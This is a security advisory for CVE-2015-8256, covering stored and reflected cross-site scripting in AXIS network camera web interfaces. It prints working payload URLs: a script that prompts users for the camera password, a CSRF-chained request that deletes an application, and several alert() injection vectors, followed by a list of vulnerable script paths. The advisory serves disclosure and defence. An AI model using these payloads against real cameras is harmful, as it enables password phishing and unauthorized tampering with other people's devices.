AXIS Network Camera Cross Site Scripting

Credit: orwelllabs
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

I. ADVISORY INFORMATION ----------------------- Title: Axis Network Cameras Multiple Cross-site scripting Vendor: Axis Communications Class: Improper Input Validation [CWE-20] CVE Name: CVE-2015-8256 Remotely Exploitable: Yes Locally Exploitable: No OLSA-ID: OLSA-2015-8256 vulnerability ------------- AXIS Network Cameras are prone to multiple (stored/reflected) cross-site scripting vulnerability. technical details ----------------- ** STORED XSS # 1 Attacker injects a javascript payload in the vulnerable page (using some social enginner aproach): http://{axishost}/axis-cgi/vaconfig.cgi?action=get&name=<script type="text/javascript>prompt("AXIS_PASSWORD:")</script> This will generate an error like this on page: " Error processing XML: Incorrect formatting line number 2, column 60: <error type = "No_such_application" message = "No application" '<script type="text/javascript>prompt("AXIS_PASSWORD:")</script>' ----------------------------------------------------------------^ " and also will create a entry in the genneral log file (/var/log/messages) with the JSPayload: " <INFO > Apr 11 10:08:45 axis-eac8c03d901 vaconfig.cgi: Could not find application '<script type="text/javascript>prompt("AXIS_PASSWORD:")</script>' " When the user is viewing the log 'system options' -> 'support' -> 'Logs & Reports': http://{axishost}/axis-cgi/admin/systemlog.cgi?id the JSPayload will be interpreted by the browser and the Javascript prompt method will be executed showing a prompt asking user for the password ('AXIS_PASSWORD'). * With this vector an attacker is able to perfome many attacks using javascript, for example to hook users browser, capture users cookie, performe pishing attacks etc. However, due to CSRF presented is even possible to perform all actions already presented: create, edit and remove users and applications, etc. For example, to delete an application "axis_update" via SXSS: http://{axishost}/axis-cgi/vaconfig.cgi?action=get&name=<script src="http:// axishost/axis-cgi/admin/local_del.cgi?+/usr/html/local/viewer/axis_update.shtml"></script> A reflected cross-site scripting affects all models of AXIS devices on the same parameter: http:// {axis-cam-model}/view/view.shtml?imagePath=0WLL</script><script>alert('AXIS-XSS')</script><!-- # Other Vectors http:// {axishost}/admin/config.shtml?group=%3Cscript%3Ealert%281%29%3C/script%3E http://{axishost}/view/custom_whiteBalance.shtml?imagePath=<img src="xs" onerror=alert(7) /><!-- http://{axishost}/admin-bin/editcgi.cgi?file=<script>alert(1)</script> http:// {axishost}/operator/recipient_test.shtml?protocol=%3Cscript%3Ealert%281%29%3C/script%3E http:// {axishost}/admin/showReport.shtml?content=alwaysmulti.sdp&pageTitle=axis</title></head><body><pre><script>alert(1)</script> # SCRIPTPATHS: {HTMLROOT}/showReport.shtml {HTMLROOT}/config.shtml {HTMLROOT}/incl/top_incl.shtml {HTMLROOT}/incl/popup_header.shtml {HTMLROOT}/incl/page_header.shtml {HTMLROOT}/incl/top_incl_popup.shtml {HTMLROOT}/viewAreas.shtml {HTMLROOT}/vmd.shtml {HTMLROOT}/custom_whiteBalance.shtml {HTMLROOT}/playWindow.shtml {HTMLROOT}/incl/ptz_incl.shtml {HTMLROOT}/view.shtml {HTMLROOT}/streampreview.shtml Impact ------ allows to run arbitrary code on a victim's browser and computer if combined with another flaws in the same devices. Affected products ----------------- Multiple Axis Network products. solution -------- It was not provided any solution to the problem. Credits ------- The vulnerability has been discovered by SmithW from OrwellLabs Legal Notices ----------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. About Orwelllabs ++++++++++++++++ doublethinking...

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